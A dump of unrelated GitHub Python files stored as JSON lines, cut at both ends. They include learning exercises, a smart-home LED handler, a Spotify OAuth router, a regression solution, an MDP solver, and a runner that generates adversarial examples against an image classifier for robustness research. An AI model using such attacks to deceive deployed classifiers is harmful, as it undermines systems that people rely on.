make_sandwiches(sandwiches_pastrami)\n\n\"\"\"\n7-10. Dream Vacation: Write a program that polls users about their dream vacation. \nWrite a prompt similar to If you could visit one place in the world, \nwhere would you go? Include a block of code that prints the results of the poll.\n\"\"\"\n\ndef dream_vacation():\n name = input(\"Enter the name or enter quit ? \")\n place = input(\"Which place would you like to visit or enter quit ? \")\n vactions = {}\n vactions[name] = place\n more_vacatons = False\n while(more_vacatons):\n name = input(\"Enter the name or enter quit ? \")\n if name.upper() == \"QUIT\":\n break\n place = input(\"Which place would you like to visit or enter quit ? \")\n if place.upper() == \"QUIT\":\n break\n \n vactions[name] = place\n\n \n print(vactions)\n\n","repo_name":"apulijala/python-crash-course-3","sub_path":"ch7/sandwiches.py","file_name":"sandwiches.py","file_ext":"py","file_size_in_byte":2177,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"69"} +{"seq_id":"9299027821","text":"import leds\nimport cache\n\nclass Intent(object):\n def __invalid(requestId, userId, data):\n return {}\n # https://developers.google.com/assistant/smarthome/develop/process-intents#sync-response\n def SYNC(requestId, userId, data):\n return {\n 'requestId': requestId,\n 'payload': {\n 'agentUserId': userId,\n 'devices': [\n {\n 'id': 1,\n 'type': 'action.devices.types.LIGHT',\n 'traits': [\n 'action.devices.traits.Brightness',\n 'action.devices.traits.ColorSetting',\n 'action.devices.traits.LightEffects',\n 'action.devices.traits.OnOff'\n ],\n 'name': {\n 'defaultNames': [\n 'Record Wall'\n ],\n 'name': 'Record Wall'\n },\n \"attributes\": {\n \"colorModel\": \"hsv\",\n \"supportedEffects\": [\n \"colorLoop\",\n \"sleep\",\n \"wake\"\n ]\n },\n 'willReportState': False\n }\n ]\n }\n }\n\n def QUERY(requestId, userId, data):\n print('QUERY: State: %s Brightness: %s Color: %s Mode: %s' % (\n cache.get(cache.STATE),\n cache.get(cache.BRIGHTNESS),\n cache.get(cache.COLOR),\n cache.get(cache.MODE)\n ))\n return {\n 'requestId': requestId,\n 'payload': {\n 'devices': {\n '1': {\n 'status': 'SUCCESS',\n 'online': True,\n 'on': cache.get(cache.STATE),\n 'brightness': cache.get(cache.BRIGHTNESS),\n 'spectrumHsv': cache.get(cache.COLOR)\n }\n }\n }\n }\n\n def EXECUTE(requestId, userId, data):\n print('PRE-EXECUTE: State: %s Brightness: %s Color: %s Mode: %s' % (\n cache.get(cache.STATE),\n cache.get(cache.BRIGHTNESS),\n cache.get(cache.COLOR),\n cache.get(cache.MODE)\n ))\n for command in data['inputs'][0]['payload']['commands']:\n for execute in command['execution']:\n if ('OnOff' in execute['command']):\n if execute['params']['on']:\n leds.turnOn()\n else:\n leds.turnOff()\n elif ('BrightnessAbsolute' in execute['command']):\n leds.changeBrightness(int(execute['params']['brightness']))\n elif ('ColorAbsolute' in execute['command']):\n leds.changeColor((\n execute['params']['color']['spectrumHSV']['hue'] / 360.0,\n execute['params']['color']['spectrumHSV']['saturation'],\n execute['params']['color']['spectrumHSV']['value']\n ), True)\n print('Ran %s' % execute['command'])\n leds.show()\n print('POST-EXECUTE: State: %s Brightness: %s Color: %s Mode: %s' % (\n cache.get(cache.STATE),\n cache.get(cache.BRIGHTNESS),\n cache.get(cache.COLOR),\n cache.get(cache.MODE)\n ))\n return {\n 'requestId': requestId,\n 'payload': {\n 'commands': [\n {\n 'ids': [\n '1'\n ],\n 'status': 'SUCCESS',\n 'states': {\n 'online': True,\n 'on': cache.get(cache.STATE),\n 'brightness': cache.get(cache.BRIGHTNESS),\n 'spectrumHSV': cache.get(cache.COLOR)\n }\n }\n ]\n }\n }\n\n\n def __new__(cls, intent_type, request_id, data):\n method = getattr(cls, intent_type, cls.__invalid)\n return method(request_id, '12345', data)","repo_name":"jordanskomer/recordwall","sub_path":"google.py","file_name":"google.py","file_ext":"py","file_size_in_byte":3471,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"69"} +{"seq_id":"70237554141","text":"\"\"\"\nRunner of attack methods. Running this file as a program will\napply the chosen attack to the model specified by the config file and store\nthe examples in an .npy file.\n\"\"\"\n\nimport json\nimport math\n\nimport numpy as np\nimport tensorflow as tf\n\nfrom datasets.dataset import Dataset\nfrom utils.helper_fcts import config_path_join, data_path_join, \\\n construct_model, get_model_file, construct_attack\n\n\ndef main(config_file):\n \"\"\"\n :param config_file:\n :return:\n \"\"\"\n tf.reset_default_graph()\n\n with open(config_file) as config_file:\n config = json.load(config_file)\n\n dset = Dataset(config['dset_name'], config['dset_config'])\n\n model_file = get_model_file(config)\n\n with tf.device(config['device']):\n model = construct_model(config['dset_name'])\n attack = construct_attack(model, config, dset)\n\n saver = tf.train.Saver()\n\n with tf.Session(config=tf.ConfigProto(allow_soft_placement=True)) as sess:\n # Restore the checkpoint\n saver.restore(sess, model_file)\n\n # Iterate over the samples batch-by-batch\n num_eval_examples = config['num_eval_examples']\n eval_batch_size = config['eval_batch_size']\n num_batches = int(math.ceil(num_eval_examples / eval_batch_size))\n\n x_adv = [] # adv accumulator\n\n print('Iterating over {} batches'.format(num_batches))\n\n for ibatch in range(num_batches):\n bstart = ibatch * eval_batch_size\n bend = min(bstart + eval_batch_size, num_eval_examples)\n print('batch size: {}'.format(bend - bstart))\n\n x_batch, y_batch = dset.get_eval_data(bstart, bend)\n\n x_batch_adv = attack.perturb(x_batch, y_batch, sess)\n\n x_adv.append(x_batch_adv)\n\n print('Storing examples')\n path = data_path_join(config['store_adv_path'])\n x_adv = np.concatenate(x_adv, axis=0)\n np.save(path, x_adv)\n print('Examples stored in {}'.format(path))\n\n\nif __name__ == '__main__':\n main(config_path_join('imagenet_topk_config.json'))\n","repo_name":"ash-aldujaili/blackbox-adv-examples-signhunter","sub_path":"src/attacks/whitebox/run_attack.py","file_name":"run_attack.py","file_ext":"py","file_size_in_byte":2053,"program_lang":"python","lang":"en","doc_type":"code","stars":20,"dataset":"github-code","pt":"69"} +{"seq_id":"4700080080","text":"import base64\nimport datetime\nimport logging\nimport os\nfrom typing import Optional\n\nimport requests\nfrom api.config.database import database\nfrom api.models import model\nfrom api.routers.constants import (\n GRANT_TYPE,\n REDIRECT_URI,\n SPOTIFY_CLIENT_ID,\n SPOTIFY_CLIENT_SECRET,\n SPOTIFY_TOKEN_URL,\n SPOTIFY_USER_URL,\n)\nfrom fastapi import APIRouter\nfrom fastapi.responses import HTMLResponse, RedirectResponse\n\nLOGGER = logging.getLogger()\n\nspotify_auth = APIRouter()\nNOIIST_FRONTEND_URL = os.getenv(\"NOIIST_FRONTEND_URL\")\n\nauth_str = \"{}:{}\".format(SPOTIFY_CLIENT_ID, SPOTIFY_CLIENT_SECRET)\nb64_auth_str = base64.b64encode(auth_str.encode()).decode()\n\nheaders = {\n \"Content-Type\": \"application/x-www-form-urlencoded\",\n \"Authorization\": \"Basic {}\".format(b64_auth_str),\n}\nerror_html_content = \"\"\"<h1>Some Error Occured. Please try again later.</h1>\"\"\"\nsession = requests.Session()\n\n\ndef get_user_information(access_token: str):\n headers = {\n \"Authorization\": f\"Bearer {access_token}\",\n }\n try:\n r = session.get(url=SPOTIFY_USER_URL, headers=headers)\n return r.json()\n except requests.exceptions.RequestException as e:\n LOGGER.error(\"Request error while `get_user_information` %s\", e)\n\n\ndef get_access_and_refresh_token(code: str):\n # Get Access and Refresh Token\n\n request_body = {\n \"grant_type\": GRANT_TYPE,\n \"code\": code,\n \"redirect_uri\": REDIRECT_URI,\n }\n r = session.post(url=SPOTIFY_TOKEN_URL, data=request_body, headers=headers)\n return r.json()\n\n\nasync def check_if_email_exists(email: str):\n query = model.user.select().where(model.user.c.email == email)\n return await database.fetch_one(query)\n\n\nasync def create_new_user(user_dict):\n query = model.user.insert().values(**user_dict)\n last_record = await database.execute(query)\n return {**user_dict, \"id\": last_record}\n\n\n@spotify_auth.get(\"/\")\nasync def get_access_token_and_refresh_token(code: Optional[str] = None):\n if code:\n try:\n resp_token = get_access_and_refresh_token(code=code)\n access_token = resp_token[\"access_token\"]\n refresh_token = resp_token[\"refresh_token\"]\n\n # Get user information using access token\n user_info = get_user_information(access_token)\n user_email = user_info[\"email\"]\n\n # Check if user already exists\n check_user = await check_if_email_exists(email=user_email)\n if check_user:\n name = check_user[\"display_name\"]\n already_exists = True\n else:\n user_data = {\n \"access_token\": access_token,\n \"refresh_token\": refresh_token,\n \"display_name\": user_info[\"display_name\"],\n \"email\": user_email,\n \"spotify_url\": user_info[\"external_urls\"][\"spotify\"],\n \"created_at\": datetime.datetime.now(),\n }\n new_user = await create_new_user(user_data)\n name = new_user[\"display_name\"]\n already_exists = False\n\n # Redirect to frontend with information to display\n url = f\"{NOIIST_FRONTEND_URL}/authorization-success?name={name}&already_exists={already_exists}\" # noqa: E501\n return RedirectResponse(url=url)\n\n except requests.exceptions.RequestException as e:\n LOGGER.error(\"Error occured %s\", e)\n return HTMLResponse(content=error_html_content, status_code=200)\n\n return HTMLResponse(content=error_html_content, status_code=200)\n","repo_name":"harshitsinghai77/nemo-backend","sub_path":"app/api/routers/spotify.py","file_name":"spotify.py","file_ext":"py","file_size_in_byte":3619,"program_lang":"python","lang":"en","doc_type":"code","stars":9,"dataset":"github-code","pt":"69"} +{"seq_id":"27806838378","text":"# Task:\n# Andrea has a simple equation:\n# Y = a + b1.f1 + b2.f2 + ... + bm.fm\n# for (m+1) real constants (a, f1, f2, ..., fm).\n# We can say that the value of 'Y' depends on 'm' features.\n# Andrea studies this equation for 'n' different feature sets (f1,f2,...,fm)\n# and records each respective value of 'Y'. If she has 'q' new feature sets,\n# can you help Andrea find the value of 'Y' for each of the sets?\n# Note: You are not expected to account for bias and variance trade-offs.\n\nm,n = (map(int, input().rstrip().split()))\nX, Y = [], []\n\nfor _ in range(n):\n row = list(map(float, input().rstrip().split()))\n X.append([1] + row[:-1])\n Y.append([row[-1]])\n\nq = int(input().rstrip())\nX_q = []\n\nfor _ in range(q):\n X_q.append([1] + list(map(float,input().rstrip().split())))\n\n\ndef transpose(m):\n \"\"\"Returns the transposed matrix.\"\"\"\n rows = len(m)\n cols = len(m[0])\n\n m_T = [[0 for _ in range(rows)] for _ in range(cols)]\n for i in range(rows):\n for j in range(cols):\n m_T[j][i] = m[i][j]\n\n return m_T\n\ndef copy_matrix(m):\n \"\"\"Creates a copy of a matrix.\"\"\"\n rows = len(m)\n cols = len(m[0])\n\n m_copy = [[0 for _ in range(cols)] for _ in range(rows)]\n for i in range(rows):\n for j in range(cols):\n m_copy[i][j] = m[i][j]\n\n return m_copy\n\ndef matrix_dotproduct(m,A):\n \"\"\"Returns the resulting matrix of the dot product between the two given matrices.\n Returns 'None' when dimensions are not compatible.\"\"\"\n rows_m = len(m)\n cols_m = len(m[0])\n\n rows_A = len(A)\n cols_A = len(A[0])\n\n if cols_m != rows_A:\n print(\"Error!: Dimensions of the matrices aren't compatible for a dot product!\")\n print(f\"m ({rows_m} x {cols_m}) . A ({rows_A} x {cols_A})\")\n print(\"Returned 'None'.\")\n return None\n\n m_dot_A = [[0 for _ in range(cols_A)] for _ in range(rows_m)]\n\n for i in range(rows_m):\n for j in range(cols_A):\n row_dot_col = 0\n for k in range(cols_m):\n row_dot_col += m[i][k] * A[k][j]\n m_dot_A[i][j] = row_dot_col\n\n return m_dot_A\n\n\n\ndef inverse_matrix(m):\n \"\"\"Creates the inverse matrix.\"\"\"\n rows = len(m)\n cols = len(m[0])\n\n if rows != cols:\n print(\"Error! Matrix has to be square!\")\n return m\n m_copy = copy_matrix(m)\n # Creating identity matrix\n Im = [[1 if i == k else 0 for k in range(cols)] for i in range(rows)]\n\n # Spil method:\n # - make diagonal element 1 by dividing row by value of diagonal element\n # - make elements x in column of diagonal element 0\n # by subtracting x*(diagonal value) from each row\n # - repeat for all diagonal elements\n # - Do every step with the identity matrix too.\n # - A.A(-1) = I --> (A --> I, will make I --> A(-1))\n\n for i in range(rows):\n Im[i] = [Im[i][j]/m_copy[i][i] for j in range(cols)]\n m_copy[i] = [m_copy[i][j]/m_copy[i][i] for j in range(cols)]\n for j in range(rows):\n if j != i:\n Im[j] = [Im[j][k] - m_copy[j][i]*Im[i][k] for k in range(cols)]\n m_copy[j] = [m_copy[j][k] - m_copy[j][i]*m_copy[i][k] for k in range(cols)]\n\n return Im\n\n# B = (X_T . X)^(-1) . X_T . Y\nX_T = transpose(X)\nX_inv = inverse_matrix(matrix_dotproduct(X_T, X))\nX_product = matrix_dotproduct(X_inv, X_T)\nB = matrix_dotproduct(X_product, Y)\n\nfor row in X_q:\n print(f\"{matrix_dotproduct([row], B)[0][0]:.2f}\")\n\n\n# NOT USED\n\n# def shift_rows(m):\n# \"\"\"Shifts the rows of the matrix such that all diagonal elements\n# are not zero (if possible).\"\"\"\n# m_copy = copy_matrix(m)\n# rows = len(m)\n# cols = len(m[0])\n\n# if rows != cols:\n# print(\"Error! Matrix has to be square.\")\n# print(\"Given matrix returned.\")\n# return m\n\n# zero = False\n# for i in range(rows):\n\n# if m_copy[i][i] == 0:\n# zero = True\n# found = False\n# if i != 0:\n# for j in range(i-1,-1,-1):\n# if m_copy[j][i] != 0 and m_copy[i][j] != 0:\n# row = m_copy[i]\n# m_copy[i] = m_copy[j]\n# m_copy[j] = row\n# found = True\n# break\n# if not found and i != rows:\n# for j in range(i+1,rows-i):\n# if m_copy[j][i] != 0 and m_copy[i][j] != 0:\n# m_copy[i] = m_copy[j]\n# m_copy[j] = m_copy[i]\n# found = True\n# break\n# else:\n# for j in range(1,rows):\n# if m_copy[j][i] != 0 and m_copy[i][j] != 0:\n# m_copy[i] = m_copy[j]\n# m_copy[j] = m_copy[i]\n# found = True\n# break\n\n# if zero and not found:\n# print(\"Unable to make all diagonal elements none zero.\")\n# # elif not zero:\n# # print(\"All diagonal elements were already none zero.\")\n\n# return m_copy\n\n# def row_operation(row, operation, value):\n# \"\"\"Do element wise operation over a list.\"\"\"\n# if operation == \"add\":\n# return [row[i] + value for i in range(len(row))]\n# elif operation == \"sub\":\n# return [row[i] - value for i in range(len(row))]\n# elif operation == \"div\":\n# return [row[i] / value for i in range(len(row))]\n# elif operation == \"mul\":\n# return [row[i] * value for i in range(len(row))]\n","repo_name":"JDWree/HackerRank_Solutions","sub_path":"10 Days of Statistics/Day_9-Multiple_Linear_Regression.py","file_name":"Day_9-Multiple_Linear_Regression.py","file_ext":"py","file_size_in_byte":5624,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"69"} +{"seq_id":"5867106987","text":"#! /usr/bin/env python3\n# -*- coding: utf-8 -*-\n\nimport rospy\nimport math\nfrom nav_msgs.msg import Odometry\n\ndef quaternion_to_theta(odom):\n \n return(2*math.degrees(math.asin(odom.pose.pose.orientation.z)*math.copysign(1,odom.pose.pose.orientation.w)))\n\ndef callback(msg):\n X = msg.pose.pose.position.x\n Y = msg.pose.pose.position.y\n theta = quaternion_to_theta(msg) \n print ('X = ', X)\n print ('Y = ', Y)\n print ('theta = ', theta)\n \n\nrospy.init_node('odom_subscriber')\nsub = rospy.Subscriber('/odom', Odometry, callback)\nrospy.loginfo(\"I am a odom_subscriber\")\nrospy.spin()","repo_name":"NikolayIvanovWS/turtlebro_speak_battery","sub_path":"src/odom_subscriber.py","file_name":"odom_subscriber.py","file_ext":"py","file_size_in_byte":607,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"69"} +{"seq_id":"8223651898","text":"import sys\n\n\nsrc_file = sys.argv[1]\ntrg_file = sys.argv[2]\nhyp_file = sys.argv[3]\nout_name = sys.argv[4]\n\n\ndef correct_len2(L, n):\n\tif len(L) < n:\n\t\treturn L + ([\"_\"] * (n - len(L)))\n\telse:\n\t\treturn L[:n]\n\ndef correct_len1(L, n):\n\tL2 = []\n\ti = 0\n\n\tfor l in L:\n\t\tL2.append(l)\n\n\t\tif l == \"|\":\n\t\t\ti -= 1\n\t\telse:\n\t\t\ti += 1\n\n\t\tif i == n:\n\t\t\tbreak\n\treturn L2\t\n\ndef merge_label(trg):\n\tL = []\n\tlabel = \"\"\n\tfor t in trg:\n\t\tif t == \"|\":\n\t\t\tif label[-1] == \"_\":\n\t\t\t\tlabel = label[:-1]\n\t\t\telse:\n\t\t\t\tlabel += t\n\t\telif label and label[-1] == \"|\":\n\t\t\tif t == \"_\":\n\t\t\t\tlabel = label[:-1]\n\t\t\telse:\n\t\t\t\tlabel += t\n\t\telse:\n\t\t\tif label:\n\t\t\t\tL.append(label)\n\t\t\tlabel = t\n\tL.append(label)\n\t'''for i in L: \n\t\tif \"|\" in i:\n\t\t\tprint(i)'''\n\treturn L\n\ndef rremove(alist, x): #reversed remove: remove last apareance of x in list\n alist.pop(len(alist) - alist[::-1].index(x) - 1)\n\ndef correct_paren(cors):\n\t#print(cors)\n\tclusList = [] #to keep cluster of the incorrect coref\n\tindList = [] #to keep index of the incorrect coref \n\n\tfor i in range(len(cors)):\n\t\tc = cors[i]\n\n\t\tif \"(\" in c and \")\" not in c: # if (1\n\t\t\tclusList.append(c.strip(\"(\"))\n\t\t\tindList.append(i)\n\n\t\telif \")\" in c and \"(\" not in c: # if 1)\n\n\t\t\tif c.strip(\")\") not in clusList: # no (1 in list\n\t\t\t\tcors[i] = \"_\"\n\t\t\t\t#cors[i] = \"(\"+c.strip(\")\")+\")\"\n\n\t\t\telse: # (1 in list\n\t\t\t\tn = c.strip(\")\")\n\t\t\t\tindList.pop(-clusList[::-1].index(n)-1)\n\t\t\t\trremove(clusList, n)\n\n\t\t'''if c not in [\"_\", \"|\"] and not (\"(\" in c and \")\" in c):\n\t\t\tprint(c)\n\t\t\tprint(clusList)\n\n\tprint(clusList)\n\tprint(indList)'''\n\tfor i in reversed(indList):\n\t\tcors[i] = \"_\"\n\t\t#cors[i] = \"(\"+cors[i].strip(\"(\")+\")\"\n\n\treturn cors\n\ndef correct_trg(trg):\n\t#print(len(trg))\n\t#print(trg)\n\thyp = correct_paren(trg)\n\t#print(len(hyp))\n\t#print(hyp)\n\thyp = merge_label(hyp)\n\t#print(len(hyp))\n\t#print(hyp)\n\treturn hyp\n\ndef correct_hyp(hyp, l):\n\thyp = correct_len1(hyp, l)\n\t#print(len(hyp))\n\t#print(hyp)\n\thyp = correct_paren(hyp)\n\t#print(len(hyp))\n\t#print(hyp)\n\thyp = merge_label(hyp)\n\t#print(len(hyp))\n\t#print(hyp)\n\thyp = correct_len2(hyp, l)\n\t#print(len(hyp))\n\t#print(hyp)\n\treturn hyp\n\t#return correct_len(merge_label(correct_paren(hyp)), l)\n\ndef write_out(f, src, trg, i):\n\tf.write(f\"#begin document test_{i}\\n\")\n\tfor s, t in zip(src, trg):\n\t\tf.write(f\"{s}\\t{t}\\n\")\n\tf.write(f\"#end document test_{i}\\n\")\n\ndef write_out2(f, src, trg, hyp, i):\n\tf.write(f\"#begin document test_{i}\\n\")\n\t#print(f\"#### len: {len(src)} {len(trg)} {len(hyp)}\")\n\tfor s, t, h in zip(src, trg, hyp):\n\t\tf.write(f\"{s}\\t\\t{t}\\t\\t{h}\\n\")\n\tf.write(f\"#end document test_{i}\\n\")\n\nwith open(src_file, \"r\") as src_f:\n\twith open(trg_file, \"r\") as trg_f:\n\t\twith open(hyp_file, \"r\") as hyp_f:\n\t\t\twith open(out_name+\".pred\", \"w\") as pred_f:\n\t\t\t\twith open(out_name+\".gold\", \"w\") as gold_f:\n\t\t\t\t\twith open(out_name+\".txt\", \"w\") as both_f:\n\n\t\t\t\t\t\ti = 0\n\t\t\t\t\t\tfor s, t, h in zip(src_f, trg_f, hyp_f):\n\t\t\t\t\t\t\t#print(f\"#### len: {len(s.split())} {len(t.split())} {len(h.split())}\")\n\n\t\t\t\t\t\t\tif 1: # i == 40:\n\n\t\t\t\t\t\t\t\tprint(f\"TEST_{i}:\")\n\t\t\t\t\t\t\t\tsrc = s.strip(\"\\n\").split()\n\t\t\t\t\t\t\t\t#print(\"_________trg_________\")\n\t\t\t\t\t\t\t\ttrg = correct_trg(t.strip(\"\\n\").split())\n\t\t\t\t\t\t\t\t#print(\"_________hyp_________\")\n\t\t\t\t\t\t\t\thyp = correct_hyp(h.strip(\"\\n\").split(), len(src))\n\t\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\twrite_out(gold_f, src, trg, i)\n\t\t\t\t\t\t\t\twrite_out(pred_f, src, hyp, i)\n\t\t\t\t\t\t\t\twrite_out2(both_f, src, trg, hyp, i)\n\t\t\t\t\t\t\t\t#break\n\t\t\t\t\t\t\ti += 1\n\t\t\t\t\t\t\t#break\n","repo_name":"GorkaUrbizu/text2cor","sub_path":"output2conll.py","file_name":"output2conll.py","file_ext":"py","file_size_in_byte":3384,"program_lang":"python","lang":"en","doc_type":"code","stars":8,"dataset":"github-code","pt":"69"} +{"seq_id":"73013783579","text":"from odoo.exceptions import UserError, ValidationError\nfrom odoo import api, fields, models, _\n\nclass PropertyHelper(models.Model):\n _name = 'property.helper'\n\n building_id = fields.Many2one('property.building', string='Inmueble', required=True)\n funcion = fields.Char('Función')\n nombre = fields.Char(string=\"Nombres\")\n apellido = fields.Char(string=\"Apellidos\")\n doc_type = fields.Selection([('ti','Tarjeta de Identidad'),('cc','Cedula de Ciudadanía'),('ce','Cedula de Extranjeria')], string=\"Tipo de Documento\")\n doc_id = fields.Char('Numero de Documento')\n telefono = fields.Char('Telefono fijo')\n celular = fields.Char('Celular')\n","repo_name":"gabosoftape/ofimatica_property","sub_path":"models/property_helper.py","file_name":"property_helper.py","file_ext":"py","file_size_in_byte":664,"program_lang":"python","lang":"es","doc_type":"code","stars":0,"dataset":"github-code","pt":"69"} +{"seq_id":"72668847901","text":"from cProfile import label\r\nimport numpy as np\r\nfrom scipy.stats import poisson\r\nfrom matplotlib import pyplot as plt\r\n\r\nepsilon = 0.01\r\n\r\ndef jacobi(S, A, P, R):\r\n print(\"Jacobi:\")\r\n k = epsilon*(1-lam)/(2*lam)\r\n V = {s: 0 for s in S}\r\n optimal_policy = {s: 0 for s in S}\r\n numero_it = []\r\n VectoresValor = []\r\n n = 0\r\n while True:\r\n \r\n oldV = V.copy()\r\n numero_it.append(n)\r\n VectoresValor.append(oldV)\r\n print(n)\r\n n = n + 1\r\n for j in range(len(S)):\r\n \r\n Q = {}\r\n for a in A:\r\n \r\n Q[a]= (R(S[j],a) + lam*(sum(P(s_next,S[j],a) * oldV[s_next] for s_next in S[:j])\r\n +sum(P(s_next,S[j],a) * oldV[s_next] for s_next in S[j+1:])))/(1-lam*P(S[j],S[j],a))\r\n \r\n #print(s)\r\n V[S[j]] = max(Q.values())\r\n optimal_policy[S[j]] = max(Q, key=Q.get)\r\n\r\n \r\n if all(oldV[s] <= V[s] + k and oldV[s] >= V[s] - k for s in S):\r\n break\r\n \r\n return numero_it, VectoresValor, optimal_policy\r\n\r\n\r\n\r\ndef gauss_Seidel(S, A, P, R):\r\n print(\"Gauss-Seidel:\")\r\n k = epsilon*(1-lam)/(2*lam)\r\n V = {s: 0 for s in S}\r\n optimal_policy = {s: 0 for s in S}\r\n numero_it = []\r\n VectoresValor = []\r\n n = 0\r\n while True:\r\n \r\n oldV = V.copy()\r\n numero_it.append(n)\r\n VectoresValor.append(oldV)\r\n print(n)\r\n n = n + 1\r\n for j in range(len(S)):\r\n \r\n Q = {}\r\n for a in A:\r\n \r\n Q[a]= R(S[j],a) + lam*(sum(P(s_next,S[j],a) * V[s_next] for s_next in S[:j])\r\n +sum(P(s_next,S[j],a) * oldV[s_next] for s_next in S[j:]))\r\n \r\n #print(s)\r\n V[S[j]] = max(Q.values())\r\n optimal_policy[S[j]] = max(Q, key=Q.get)\r\n\r\n \r\n if all(oldV[s] <= V[s] + k and oldV[s] >= V[s] - k for s in S):\r\n break\r\n \r\n return numero_it, VectoresValor, optimal_policy\r\n\r\ndef value_iteration(S, A, P, R):\r\n print(\"Value Iteration:\")\r\n k = epsilon*(1-lam)/(2*lam)\r\n V = {s: 0 for s in S}\r\n optimal_policy = {s: 0 for s in S}\r\n numero_it = []\r\n VectoresValor = []\r\n n = 0\r\n while True:\r\n oldV = V.copy()\r\n numero_it.append(n)\r\n VectoresValor.append(oldV)\r\n print(n)\r\n n = n + 1\r\n for s in S:\r\n Q = {}\r\n for a in A:\r\n Q[a]= R(s,a) + lam*sum(P(s_next,s,a) * oldV[s_next] for s_next in S)\r\n \r\n #print(s)\r\n V[s] = max(Q.values())\r\n optimal_policy[s] = max(Q, key=Q.get)\r\n\r\n \r\n if all(oldV[s] <= V[s] + k and oldV[s] >= V[s] - k for s in S):\r\n break\r\n \r\n return numero_it, VectoresValor, optimal_policy\r\n\r\n#-- constantes\r\nlam=0.9\r\nr=10\r\nc=2\r\np=5\r\n#-- limite de carros en cada sucursal\r\nN1 = p\r\nN2 = p\r\n#-- limite de clientes en cada sucursal\r\nCl = p\r\n\r\n#-- estados \r\nS = []\r\n\r\nfor i in range(0,N1+1):\r\n for j in range(0,N2+1):\r\n S.append((i,j))\r\n\r\nA = [i for i in range(-N1,N2+1)]\r\n\r\n\r\n\r\ndef f1(x):\r\n return poisson.pmf(x,3)\r\ndef f2(x):\r\n return poisson.pmf(x,4)\r\ndef g1(x):\r\n return poisson.pmf(x,3)\r\ndef g2(x):\r\n return poisson.pmf(x,2)\r\n\r\ndef P(s_next, s, t):\r\n s1,s2 = s\r\n s1_next,s2_next = s_next\r\n res = 0\r\n if t<=s1 and -s2<=t:\r\n res = sum(f1(c1)*g1(s1_next-(s1-t-min(s1-t,c1))) for c1 in range(0,Cl+1)) *sum(f2(c2)*g2(s2_next-(s2+t-min(s2+t,c2))) for c2 in range(0,Cl+1))\r\n return res\r\n\r\ndef R(s,t):\r\n s1,s2 = s\r\n res = 0\r\n if t<=s1 and -s2<=t:\r\n res = (sum(f1(c)*min(s1-t,c) for c in range(0,Cl+1))\r\n +\r\n sum(f2(c)*min(s2+t,c) for c in range(0,Cl+1))\r\n )*r - abs(t)*c \r\n \r\n return res\r\n\r\n \r\n\r\n\r\nX,Z, optPol = gauss_Seidel(S, A, P, R)\r\n\r\nX2,Z2, optPol2 = value_iteration(S, A, P, R)\r\n'''for x in X:\r\n print(x)'''\r\n\r\nX3, Z3, optPol3 = jacobi(S, A, P, R)\r\n\r\n\r\n\r\n#print(v)\r\n\r\nY = []\r\n#Z es una lista de diccionarios\r\nfor v in Z:\r\n print(\"Secuencia Normas Gauss-Seidel:\")\r\n print(max(v.values()))\r\n dif_v = [abs(v[s]-Z[-1][s]) for s in S]\r\n norma_dif_v = max(dif_v)\r\n Y.append(norma_dif_v)\r\n \r\nY2 = []\r\n#Z es una lista de diccionarios\r\nfor v in Z2:\r\n print(\"Secuencia Normas Value Iteration:\")\r\n print(max(v.values()))\r\n dif_v = [abs(v[s]-Z[-1][s]) for s in S]\r\n norma_dif_v = max(dif_v)\r\n Y2.append(norma_dif_v)\r\n\r\nY3 = []\r\n#Z es una lista de diccionarios\r\nfor v in Z3:\r\n print(\"Secuencia Normas Jacobi:\")\r\n print(max(v.values()))\r\n dif_v = [abs(v[s]-Z[-1][s]) for s in S]\r\n norma_dif_v = max(dif_v)\r\n Y3.append(norma_dif_v)\r\n\r\n\r\n\r\nprint(\"Politicas:\")\r\nprint(\"Gauss-Seidel:\")\r\nfor cosa in optPol:\r\n print('Estado:',cosa,', Accion',optPol[cosa])\r\nprint(\"Value Iteration:\")\r\nfor cosa in optPol2:\r\n print('Estado:',cosa,', Accion',optPol2[cosa])\r\nprint(\"Jacobi:\")\r\nfor cosa in optPol3:\r\n print('Estado:',cosa,', Accion',optPol3[cosa])\r\n\r\n\r\n\r\n\r\n'''optPol[(0,0)]\r\nmatriz = np.matrix([10,10])\r\nfor key in optPol:\r\n matriz[key[0]][key[1]] = optPol[key]\r\n\r\nprint(matriz)'''\r\n\r\nplt.plot(X3, Y3, label=\"Jacobi\")\r\n\r\nplt.plot(X, Y, label=\"Gauss Seidel\")\r\n\r\nplt.plot(X2, Y2, label=\"Value Iteration\")\r\nplt.xlabel(\"n\")\r\nplt.ylabel(\"||Vn-V*||\")\r\nplt.legend()\r\nplt.show()\r\n\r\n \r\n\r\n","repo_name":"sergioa3/ReinforcementLearning1","sub_path":"Jacobi.py","file_name":"Jacobi.py","file_ext":"py","file_size_in_byte":5365,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"69"} +{"seq_id":"26428283320","text":"#!/usr/bin/env python3\n#adding random comment\nimport operator\nimport colorama\nfrom colorama import init, Fore, Back\nimport readline\n\noperators = {\n '+': operator.add,\n '-': operator.sub,\n '*': operator.mul,\n '/': operator.truediv,\n '^': operator.pow,\n}\n\ndef calculate(myarg):\n\tstack = list()\n\tfor token in myarg.split():\n\t\ttry:\n\t\t\ttoken = int(token)\n\t\t\tstack.append(token)\n\t\texcept ValueError:\n\t\t\tfunction = operators[token]\n\t\t\targ2 = stack.pop()\n\t\t\targ1 = stack.pop()\n\t\t\tresult = function(arg1, arg2)\n\t\t\tif result == 13:\n\t\t\t\tprint(Fore.BLUE + \"Go Blue\")\t\n\t\t\tstack.append(result)\n\t\tprint(Fore.YELLOW)\n\t\tprint(stack)\n\tif len(stack) != 1:\n\t\traise TypeError(\"Too many parameters\")\n\treturn stack.pop()\n\ndef main():\n\tcolorama.init()\n\n\twhile True:\n\t\tresult = calculate(input(Fore.RED + \"rpn calc> \"))\n\t\tprint(Fore.GREEN)\n\t\tprint(\"Result: \", result)\n\nif __name__ == '__main__':\n\tmain()\n\t\n","repo_name":"amitch28/c4cs-f17-rpn","sub_path":"rpn.py","file_name":"rpn.py","file_ext":"py","file_size_in_byte":896,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"69"} +{"seq_id":"19189114098","text":"from typing import Any, Optional\n\nfrom ._token_distance import _TokenDistance\nfrom 